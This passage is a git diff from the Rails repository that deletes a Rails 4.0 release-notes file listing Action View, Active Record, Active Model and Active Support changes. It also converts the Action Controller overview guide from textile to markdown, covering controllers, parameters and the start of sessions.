-h5(#actiondispatch_deprecations). Deprecations - -h4. Action View - -* Remove Active Model dependency from Action Pack. - -* Allow to use <tt>mounted_helpers</tt> (helpers for accessing mounted engines) in <tt>ActionView::TestCase</tt>. - -* Make current object and counter (when it applies) variables accessible when rendering templates with <tt>:object</tt> or <tt>:collection</tt>. - -* Allow to lazy load +default_form_builder+ by passing a string instead of a constant. - -* Add index method to +FormBuilder+ class. - -* Adds support for layouts when rendering a partial with a given collection. - -* Remove <tt>:disable_with</tt> in favor of <tt>data-disable-with</tt> option from +submit_tag+, +button_tag+ and +button_to+ helpers. - -* Remove <tt>:mouseover</tt> option from +image_tag+ helper. - -* Templates without a handler extension now raises a deprecation warning but still defaults to +ERb+. In future releases, it will simply return the template content. - -* Add a +divider+ option to +grouped_options_for_select+ to generate a separator optgroup automatically, and deprecate prompt as third argument, in favor of using an options hash. - -* Add +time_field+ and +time_field_tag+ helpers which render an <tt>input[type="time"]</tt> tag. - -* Removed old +text_helper+ apis for +highlight+, +excerpt+ and +word_wrap+. - -* Remove the leading \n added by textarea on +assert_select+. - -* Changed default value for <tt>config.action_view.embed_authenticity_token_in_remote_forms</tt> to false. This change breaks remote forms that need to work also without JavaScript, so if you need such behavior, you can either set it to true or explicitly pass <tt>:authenticity_token => true</tt> in form options. - -* Make possible to use a block in +button_to+ helper if button text is hard to fit into the name parameter: - -<ruby> -<%= button_to [:make_happy, @user] do %> - Make happy <strong><%= @user.name %></strong> -<% end %> -# => "<form method="post" action="/users/1/make_happy" class="button_to"> -# <div> -# <button type="submit"> -# Make happy <strong>Name</strong> -# </button> -# </div> -# </form>" -</ruby> - -* Replace +include_seconds+ boolean argument with <tt>:include_seconds => true</tt> option in +distance_of_time_in_words+ and +time_ago_in_words+ signature. - -* Remove +button_to_function+ and +link_to_function+ helpers. - -* +truncate+ now always returns an escaped HTML-safe string. The option <tt>:escape</tt> can be used as +false+ to not escape the result. - -* +truncate+ now accepts a block to show extra content when the text is truncated. - -* Add +week_field+, +week_field_tag+, +month_field+, +month_field_tag+, +datetime_local_field+, +datetime_local_field_tag+, +datetime_field+ and +datetime_field_tag+ helpers. - -* Add +color_field+ and +color_field_tag+ helpers. - -* Add +include_hidden+ option to select tag. With <tt>:include_hidden => false</tt> select with multiple attribute doesn't generate hidden input with blank value. - -* Removed default size option from the +text_field+, +search_field+, +telephone_field+, +url_field+, +email_field+ helpers. - -* Removed default cols and rows options from the +text_area+ helper. - -* Adds +image_url+, +javascript_url+, +stylesheet_url+, +audio_url+, +video_url+, and +font_url+ to assets tag helper. These URL helpers will return the full path to your assets. This is useful when you are going to reference this asset from external host. - -* Allow +value_method+ and +text_method+ arguments from +collection_select+ and +options_from_collection_for_select+ to receive an object that responds to <tt>:call</tt> such as a proc, to evaluate the option in the current element context. This works the same way with +collection_radio_buttons+ and +collection_check_boxes+. - -* Add +date_field+ and +date_field_tag+ helpers which render an <tt>input[type="date"]</tt> tag. - -* Add +collection_check_boxes+ form helper, similar to +collection_select+: - -<ruby> -collection_check_boxes :post, :author_ids, Author.all, :id, :name -# Outputs something like: -<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" /> -<label for="post_author_ids_1">D. Heinemeier Hansson</label> -<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" /> -<label for="post_author_ids_2">D. Thomas</label> -<input name="post[author_ids][]" type="hidden" value="" /> -</ruby> - -The label/check_box pairs can be customized with a block. - -* Add +collection_radio_buttons+ form helper, similar to +collection_select+: - -<ruby> -collection_radio_buttons :post, :author_id, Author.all, :id, :name -# Outputs something like: -<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" /> -<label for="post_author_id_1">D. Heinemeier Hansson</label> -<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" /> -<label for="post_author_id_2">D. Thomas</label> -</ruby> - -The label/radio_button pairs can be customized with a block. - -* +check_box+ with an HTML5 attribute +:form+ will now replicate the +:form+ attribute to the hidden field as well. - -* label form helper accepts <tt>:for => nil</tt> to not generate the attribute. - -* Add <tt>:format</tt> option to +number_to_percentage+. - -* Add <tt>config.action_view.logger</tt> to configure logger for +Action View+. - -* +check_box+ helper with <tt>:disabled => true</tt> will generate a +disabled+ hidden field to conform with the HTML convention where disabled fields are not submitted with the form. This is a behavior change, previously the hidden tag had a value of the disabled checkbox. - -* +favicon_link_tag+ helper will now use the favicon in <tt>app/assets</tt> by default. - -* <tt>ActionView::Helpers::TextHelper#highlight</tt> now defaults to the HTML5 +mark+ element. - -h5(#actionview_deprecations). Deprecations - -h4. Sprockets - -Moved into a separate gem <tt>sprockets-rails</tt>. - -h3. Active Record - -* Add <tt>add_reference</tt> and <tt>remove_reference</tt> schema statements. Aliases, <tt>add_belongs_to</tt> and <tt>remove_belongs_to</tt> are acceptable. References are reversible. - -<ruby> -# Create a user_id column -add_reference(:products, :user) - -# Create a supplier_id, supplier_type columns and appropriate index -add_reference(:products, :supplier, polymorphic: true, index: true) - -# Remove polymorphic reference -remove_reference(:products, :supplier, polymorphic: true) -</ruby> - - -* Add <tt>:default</tt> and <tt>:null</tt> options to <tt>column_exists?</tt>. - -<ruby> -column_exists?(:testings, :taggable_id, :integer, null: false) -column_exists?(:testings, :taggable_type, :string, default: 'Photo') -</ruby> - -* <tt>ActiveRecord::Relation#inspect</tt> now makes it clear that you are dealing with a <tt>Relation</tt> object rather than an array: - -<ruby> -User.where(:age => 30).inspect -# => <ActiveRecord::Relation [#<User ...>, #<User ...>]> - -User.where(:age => 30).to_a.inspect -# => [#<User ...>, #<User ...>] -</ruby> - -if more than 10 items are returned by the relation, inspect will only show the first 10 followed by ellipsis. - -* Add <tt>:collation</tt> and <tt>:ctype</tt> support to PostgreSQL. These are available for PostgreSQL 8.4 or later. - -<yaml> -development: - adapter: postgresql - host: localhost - database: rails_development - username: foo - password: bar - encoding: UTF8 - collation: ja_JP.UTF8 - ctype: ja_JP.UTF8 -</yaml> - -* <tt>FinderMethods#exists?</tt> now returns <tt>false</tt> with the <tt>false</tt> argument. - -* Added support for specifying the precision of a timestamp in the postgresql adapter. So, instead of having to incorrectly specify the precision using the <tt>:limit</tt> option, you may use <tt>:precision</tt>, as intended. For example, in a migration: - -<ruby> -def change - create_table :foobars do |t| - t.timestamps :precision => 0 - end -end -</ruby> - -* Allow <tt>ActiveRecord::Relation#pluck</tt> to accept multiple columns. Returns an array of arrays containing the typecasted values: - -<ruby> -Person.pluck(:id, :name) -# SELECT people.id, people.name FROM people -# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] -</ruby> - -* Improve the derivation of HABTM join table name to take account of nesting. It now takes the table names of the two models, sorts them lexically and then joins them, stripping any common prefix from the second table name. Some examples: - -<plain> -Top level models (Category <=> Product) -Old: categories_products -New: categories_products - -Top level models with a global table_name_prefix (Category <=> Product) -Old: site_categories_products -New: site_categories_products - -Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product) -Old: categories_products -New: categories_products - -Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product) -Old: categories_products -New: admin_categories_products - -Nested models in a parent model (Catalog::Category <=> Catalog::Product) -Old: categories_products -New: catalog_categories_products - -Nested models in different parent models (Catalog::Category <=> Content::Page) -Old: categories_pages -New: catalog_categories_content_pages -</plain> - -* Move HABTM validity checks to <tt>ActiveRecord::Reflection</tt>. One side effect of this is to move when the exceptions are raised from the point of declaration to when the association is built. This is consistant with other association validity checks. - -* Added <tt>stored_attributes</tt> hash which contains the attributes stored using <tt>ActiveRecord::Store</tt>. This allows you to retrieve the list of attributes you've defined. - -<ruby> -class User < ActiveRecord::Base - store :settings, accessors: [:color, :homepage] -end - -User.stored_attributes[:settings] # [:color, :homepage] -</ruby> - -* PostgreSQL default log level is now 'warning', to bypass the noisy notice messages. You can change the log level using the <tt>min_messages</tt> option available in your <tt>config/database.yml</tt>. - -* Add uuid datatype support to PostgreSQL adapter. - -* Added <tt>ActiveRecord::Migration.check_pending!</tt> that raises an error if migrations are pending. - -* Added <tt>#destroy!</tt> which acts like <tt>#destroy</tt> but will raise an <tt>ActiveRecord::RecordNotDestroyed</tt> exception instead of returning <tt>false</tt>. - -* Allow blocks for count with <tt>ActiveRecord::Relation</tt>, to work similar as <tt>Array#count</tt>: <tt>Person.where("age > 26").count { |person| person.gender == 'female' }</tt> - -* Added support to <tt>CollectionAssociation#delete</tt> for passing fixnum or string values as record ids. This finds the records responding to the ids and deletes them. - -<ruby> -class Person < ActiveRecord::Base - has_many :pets -end - -person.pets.delete("1") # => [#<Pet id: 1>] -person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>] -</ruby> - -* It's not possible anymore to destroy a model marked as read only. - -* Added ability to <tt>ActiveRecord::Relation#from</tt> to accept other <tt>ActiveRecord::Relation</tt> objects. - -* Added custom coders support for <tt>ActiveRecord::Store</tt>. Now you can set your custom coder like this: - -<ruby>store :settings, accessors: [ :color, :homepage ], coder: JSON</ruby> - -* +mysql+ and +mysql2+ connections will set <tt>SQL_MODE=STRICT_ALL_TABLES</tt> by default to avoid silent data loss. This can be disabled by specifying <tt>strict: false</tt> in <tt>config/database.yml</tt>. - -* Added default order to <tt>ActiveRecord::Base#first</tt> to assure consistent results among diferent database engines. Introduced <tt>ActiveRecord::Base#take</tt> as a replacement to the old behavior. - -* Added an <tt>:index</tt> option to automatically create indexes for +references+ and +belongs_to+ statements in migrations. This can be either a boolean or a hash that is identical to options available to the +add_index+ method: - -<ruby> -create_table :messages do |t| - t.references :person, :index => true -end -</ruby> - -Is the same as: - -<ruby> -create_table :messages do |t| - t.references :person -end -add_index :messages, :person_id -</ruby> - -Generators have also been updated to use the new syntax. - -* Added bang methods for mutating <tt>ActiveRecord::Relation</tt> objects. For example, while <tt>foo.where(:bar)</tt> will return a new object leaving foo unchanged, <tt>foo.where!(:bar)</tt> will mutate the foo object. - -* Added <tt>#find_by</tt> and <tt>#find_by!</tt> to mirror the functionality provided by dynamic finders in a way that allows dynamic input more easily: - -<ruby> -Post.find_by name: 'Spartacus', rating: 4 -Post.find_by "published_at < ?", 2.weeks.ago -Post.find_by! name: 'Spartacus' -</ruby> - -* Added <tt>ActiveRecord::Base#slice</tt> to return a hash of the given methods with their names as keys and returned values as values. - -* Remove IdentityMap - IdentityMap has never graduated to be an "enabled-by-default" feature, due to some inconsistencies with associations, as described in this "commit":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. Hence the removal from the codebase, until such issues are fixed. - -* Added a feature to dump/load internal state of +SchemaCache+ instance because we want to boot more quickly when we have many models. - -<ruby> -# execute rake task. -RAILS_ENV=production bundle exec rake db:schema:cache:dump -=> generate db/schema_cache.dump - -# add config.use_schema_cache_dump = true in config/production.rb. BTW, true is default. - -# boot rails. -RAILS_ENV=production bundle exec rails server -=> use db/schema_cache.dump - -# If you remove clear dumped cache, execute rake task. -RAILS_ENV=production bundle exec rake db:schema:cache:clear -=> remove db/schema_cache.dump -</ruby> - -* Added support for partial indices to +PostgreSQL+ adapter. - -* The +add_index+ method now supports a +where+ option that receives a string with the partial index criteria. - -* Added the <tt>ActiveRecord::NullRelation</tt> class implementing the null object pattern for the Relation class. - -* Implemented <tt>ActiveRecord::Relation#none</tt> method which returns a chainable relation with zero records (an instance of the +NullRelation+ class). Any subsequent condition chained to the returned relation will continue generating an empty relation and will not fire any query to the database. - -* Added +create_join_table+ migration helper to create HABTM join tables. - -<ruby> -create_join_table :products, :categories -# => -# create_table :categories_products, :id => false do |td| -# td.integer :product_id, :null => false -# td.integer :category_id, :null => false -# end -</ruby> - -* The primary key is always initialized in the +@attributes+ hash to nil (unless another value has been specified). - -* In previous releases, the following would generate a single query with an OUTER JOIN comments, rather than two separate queries: - -<ruby>Post.includes(:comments).where("comments.name = 'foo'")</ruby> - -This behaviour relies on matching SQL string, which is an inherently flawed idea unless we write an SQL parser, which we do not wish to do. Therefore, it is now deprecated. - -To avoid deprecation warnings and for future compatibility, you must explicitly state which tables you reference, when using SQL snippets: - -<ruby>Post.includes(:comments).where("comments.name = 'foo'").references(:comments)</ruby> - -Note that you do not need to explicitly specify references in the following cases, as they can be automatically inferred: - -<ruby> -Post.where(comments: { name: 'foo' }) -Post.where('comments.name' => 'foo') -Post.order('comments.name') -</ruby> - -You also do not need to worry about this unless you are doing eager loading. Basically, don't worry unless you see a deprecation warning or (in future releases) an SQL error due to a missing JOIN. - -* Support for the +schema_info+ table has been dropped. Please switch to +schema_migrations+. - -* Connections *must* be closed at the end of a thread. If not, your connection pool can fill and an exception will be raised. - -* Added the <tt>ActiveRecord::Model</tt> module which can be included in a class as an alternative to inheriting from <tt>ActiveRecord::Base</tt>: - -<ruby> -class Post - include ActiveRecord::Model -end -</ruby> - -* PostgreSQL hstore records can be created. - -* PostgreSQL hstore types are automatically deserialized from the database. - -h4(#activerecord_deprecations). Deprecations - -* Deprecated most of the 'dynamic finder' methods. All dynamic methods except for +find_by_...+ and +find_by_...!+ are deprecated. Here's how you can rewrite the code: - -<ruby> -find_all_by_... can be rewritten using where(...) -find_last_by_... can be rewritten using where(...).last -scoped_by_... can be rewritten using where(...) -find_or_initialize_by_... can be rewritten using where(...).first_or_initialize -find_or_create_by_... can be rewritten using where(...).first_or_create -find_or_create_by_...! can be rewritten using where(...).first_or_create! -</ruby> - -The implementation of the deprecated dynamic finders has been moved to the +active_record_deprecated_finders+ gem. - -* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. For example this: - -<ruby>Post.find(:all, :conditions => { :comments_count => 10 }, :limit => 5)</ruby> - -should be rewritten in the new style which has existed since Rails 3: - -<ruby>Post.where(comments_count: 10).limit(5)</ruby> - -Note that as an interim step, it is possible to rewrite the above as: - -<ruby>Post.scoped(:where => { :comments_count => 10 }, :limit => 5)</ruby> - -This could save you a lot of work if there is a lot of old-style finder usage in your application. - -Calling <tt>Post.scoped(options)</tt> is a shortcut for <tt>Post.scoped.merge(options)</tt>. <tt>Relation#merge</tt> now accepts a hash of options, but they must be identical to the names of the equivalent finder method. These are mostly identical to the old-style finder option names, except in the following cases: - -<plain> -:conditions becomes :where -:include becomes :includes -:extend becomes :extending -</plain> - -The code to implement the deprecated features has been moved out to the +active_record_deprecated_finders+ gem. This gem is a dependency of Active Record in Rails 4.0. It will no longer be a dependency from Rails 4.1, but if your app relies on the deprecated features then you can add it to your own Gemfile. It will be maintained by the Rails core team until Rails 5.0 is released. - -* Deprecate eager-evaluated scopes. - - Don't use this: - -<ruby> -scope :red, where(color: 'red') -default_scope where(color: 'red') -</ruby> - - Use this: - -<ruby> -scope :red, -> { where(color: 'red') } -default_scope { where(color: 'red') } -</ruby> - - The former has numerous issues. It is a common newbie gotcha to do the following: - -<ruby> -scope :recent, where(published_at: Time.now - 2.weeks) -</ruby> - - Or a more subtle variant: - -<ruby> -scope :recent, -> { where(published_at: Time.now - 2.weeks) } -scope :recent_red, recent.where(color: 'red') -</ruby> - - Eager scopes are also very complex to implement within Active Record, and there are still bugs. For example, the following does not do what you expect: - -<ruby> -scope :remove_conditions, except(:where) -where(...).remove_conditions # => still has conditions -</ruby> - -* Added deprecation for the :dependent => :restrict association option. - -* Up until now has_many and has_one, :dependent => :restrict option raised a DeleteRestrictionError at the time of destroying the object. Instead, it will add an error on the model. - -* To fix this warning, make sure your code isn't relying on a DeleteRestrictionError and then add config.active_record.dependent_restrict_raises = false to your application config. - -* New rails application would be generated with the config.active_record.dependent_restrict_raises = false in the application config. - -* The migration generator now creates a join table with (commented) indexes every time the migration name contains the word "join_table". - -* <tt>ActiveRecord::SessionStore</tt> is removed from Rails 4.0 and is now a separate "gem":https://github.com/rails/activerecord-session_store. - -h3. Active Model - -* Changed <tt>AM::Serializers::JSON.include_root_in_json</tt> default value to false. Now, AM Serializers and AR objects have the same default behaviour. - -<ruby> -class User < ActiveRecord::Base; end - -class Person - include ActiveModel::Model - include ActiveModel::AttributeMethods - include ActiveModel::Serializers::JSON - - attr_accessor :name, :age - - def attributes - instance_values - end -end - -user.as_json -=> {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true} -# root is not included - -person.as_json -=> {"name"=>"Francesco", "age"=>22} -# root is not included -</ruby> - -* Passing false hash values to +validates+ will no longer enable the corresponding validators. - -* +ConfirmationValidator+ error messages will attach to <tt>:#{attribute}_confirmation</tt> instead of +attribute+. - -* Added <tt>ActiveModel::Model</tt>, a mixin to make Ruby objects work with Action Pack out of the box. - -* <tt>ActiveModel::Errors#to_json</tt> supports a new parameter <tt>:full_messages</tt>. - -* Trims down the API by removing <tt>valid?</tt> and <tt>errors.full_messages</tt>. - -h4(#activemodel_deprecations). Deprecations - -h3. Active Resource - -* Active Resource is removed from Rails 4.0 and is now a separate "gem":https://github.com/rails/activeresource. - -h3. Active Support - -* Add default values to all <tt>ActiveSupport::NumberHelper</tt> methods, to avoid errors with empty locales or missing values. - -* <tt>Time#change</tt> now works with time values with offsets other than UTC or the local time zone. - -* Add <tt>Time#prev_quarter</tt> and <tt>Time#next_quarter</tt> short-hands for <tt>months_ago(3)</tt> and <tt>months_since(3)</tt>. - -* Remove obsolete and unused <tt>require_association</tt> method from dependencies. - -* Add <tt>:instance_accessor</tt> option for <tt>config_accessor</tt>. - -<ruby> -class User - include ActiveSupport::Configurable - config_accessor :allowed_access, instance_accessor: false -end - -User.new.allowed_access = true # => NoMethodError -User.new.allowed_access # => NoMethodError -</ruby> - -* <tt>ActionView::Helpers::NumberHelper</tt> methods have been moved to <tt>ActiveSupport::NumberHelper</tt> and are now available via <tt>Numeric#to_s</tt>. - -* <tt>Numeric#to_s</tt> now accepts the formatting options :phone, :currency, :percentage, :delimited, :rounded, :human, and :human_size. - -* Add <tt>Hash#transform_keys</tt>, <tt>Hash#transform_keys!</tt>, <tt>Hash#deep_transform_keys</tt> and <tt>Hash#deep_transform_keys!</tt>. - -* Changed xml type datetime to dateTime (with upper case letter T). - -* Add <tt>:instance_accessor</tt> option for <tt>class_attribute</tt>. - -* +constantize+ now looks in the ancestor chain. - -* Add <tt>Hash#deep_stringify_keys</tt> and <tt>Hash#deep_stringify_keys!</tt> to convert all keys from a +Hash+ instance into strings. - -* Add <tt>Hash#deep_symbolize_keys</tt> and <tt>Hash#deep_symbolize_keys!</tt> to convert all keys from a +Hash+ instance into symbols. - -* <tt>Object#try</tt> can't call private methods. - -* AS::Callbacks#run_callbacks remove key argument. - -* +deep_dup+ works more expectedly now and duplicates also values in +Hash+ instances and elements in +Array+ instances. - -* Inflector no longer applies ice -> ouse to words like slice, police. - -* Add <tt>ActiveSupport::Deprecations.behavior = :silence</tt> to completely ignore Rails runtime deprecations. - -* Make <tt>Module#delegate</tt> stop using send - can no longer delegate to private methods. - -* AS::Callbacks deprecate :rescuable option. - -* Adds <tt>Integer#ordinal</tt> to get the ordinal suffix string of an integer. - -* AS::Callbacks :per_key option is no longer supported. - -* AS::Callbacks#define_callbacks add :skip_after_callbacks_if_terminated option. - -* Add html_escape_once to ERB::Util, and delegate escape_once tag helper to it. - -* Remove <tt>ActiveSupport::TestCase#pending</tt> method, use +skip+ instead. - -* Deletes the compatibility method <tt>Module#method_names</tt>, use <tt>Module#methods</tt> from now on (which returns symbols). - -* Deletes the compatibility method <tt>Module#instance_method_names</tt>, use <tt>Module#instance_methods</tt> from now on (which returns symbols). - -* Unicode database updated to 6.1.0. - -* Adds +encode_big_decimal_as_string+ option to force JSON serialization of BigDecimals as numeric instead of wrapping them in strings for safety. - -h4(#activesupport_deprecations). Deprecations - -* <tt>ActiveSupport::Callbacks</tt>: deprecate usage of filter object with <tt>#before</tt> and <tt>#after</tt> methods as <tt>around</tt> callback. - -* <tt>BufferedLogger</tt> is deprecated. Use <tt>ActiveSupport::Logger</tt> or the +logger+ from Ruby stdlib. - -* Deprecates the compatibility method <tt>Module#local_constant_names</tt> and use <tt>Module#local_constants</tt> instead (which returns symbols). - -h3. Credits - -See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. diff --git a/guides/source/action_controller_overview.textile b/guides/source/action_controller_overview.md index 1d43b44391..b4c059641b 100644 --- a/guides/source/action_controller_overview.textile +++ b/guides/source/action_controller_overview.md @@ -1,4 +1,5 @@ -h2. Action Controller Overview +Action Controller Overview +========================== In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to: @@ -10,48 +11,51 @@ In this guide you will learn how controllers work and how they fit into the requ * Filter sensitive parameters so they do not appear in the application's log * Deal with exceptions that may be raised during request processing -endprologue. +-------------------------------------------------------------------------------- -h3. What Does a Controller Do? +What Does a Controller Do? +-------------------------- Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible. -For most conventional "RESTful":http://en.wikipedia.org/wiki/Representational_state_transfer applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. +For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model. -NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html. +NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html). -h3. Methods and Actions +Methods and Actions +------------------- -A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action. +A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action. -<ruby> +```ruby class ClientsController < ApplicationController def new end end -</ruby> +``` -As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+: +As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`: -<ruby> +```ruby def new @client = Client.new end -</ruby> +``` -The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more detail. +The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail. -+ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself. +`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself. Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters. -h3. Parameters +Parameters +---------- -You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller: +You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller: -<ruby> +```ruby class ClientsController < ActionController::Base # This action uses query string parameters because it gets run # by an HTTP GET request, but this does not make any difference @@ -81,89 +85,90 @@ class ClientsController < ActionController::Base end end end -</ruby> +``` -h4. Hash and Array Parameters +### Hash and Array Parameters -The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name: +The `params` hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name: -<pre> +``` GET /clients?ids[]=1&ids[]=2&ids[]=3 -</pre> +``` NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind. -The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type. +The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type. To send a hash you include the key name inside the brackets: -<html> +```html <form accept-charset="UTF-8" action="/clients" method="post"> <input type="text" name="client[name]" value="Acme" /> <input type="text" name="client[phone]" value="12345" /> <input type="text" name="client[address][postcode]" value="12345" /> <input type="text" name="client[address][city]" value="Carrot City" /> </form> -</html> +``` -When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+. +When this form is submitted, the value of `params[:client]` will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`. -Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys. +Note that the `params` hash is actually an instance of `HashWithIndifferentAccess` from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys. -h4. JSON/XML parameters +### JSON/XML parameters -If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into +params+ hash, which you'll be able to access like you would normally do with form data. +If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into `params` hash, which you'll be able to access like you would normally do with form data. So for example, if you are sending this JSON parameter: -<pre> +```json { "company": { "name": "acme", "address": "123 Carrot Street" } } -</pre> +``` -You'll get <tt>params[:company]</tt> as <tt>{ :name => "acme", "address" => "123 Carrot Street" }</tt>. +You'll get `params[:company]` as `{ :name => "acme", "address" => "123 Carrot Street" }`. -Also, if you've turned on +config.wrap_parameters+ in your initializer or calling +wrap_parameters+ in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as: +Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as: -<pre> +```json { "name": "acme", "address": "123 Carrot Street" } -</pre> +``` -And assume that you're sending the data to +CompaniesController+, it would then be wrapped in +:company+ key like this: +And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this: -<ruby> +```ruby { :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }} -</ruby> +``` -You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html +You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) -h4. Routing Parameters +### Routing Parameters -The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL: +The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL: -<ruby> +```ruby match '/clients/:status' => 'clients#index', :foo => "bar" -</ruby> +``` -In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index". +In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index". -h4. +default_url_options+ +### `default_url_options` -You can set global default parameters for URL generation by defining a method called +default_url_options+ in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols: +You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols: -<ruby> +```ruby class ApplicationController < ActionController::Base def default_url_options {:locale => I18n.locale} end end -</ruby> +``` -These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in +url_for+ calls. +These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in `url_for` calls. -If you define +default_url_options+ in +ApplicationController+, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there. +If you define `default_url_options` in `ApplicationController`, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there. -h3. Session +Session +------- Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: @@ -180,36 +185,36 @@ The CookieStore can store around 4kB of data -- much less than the others -- but If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using 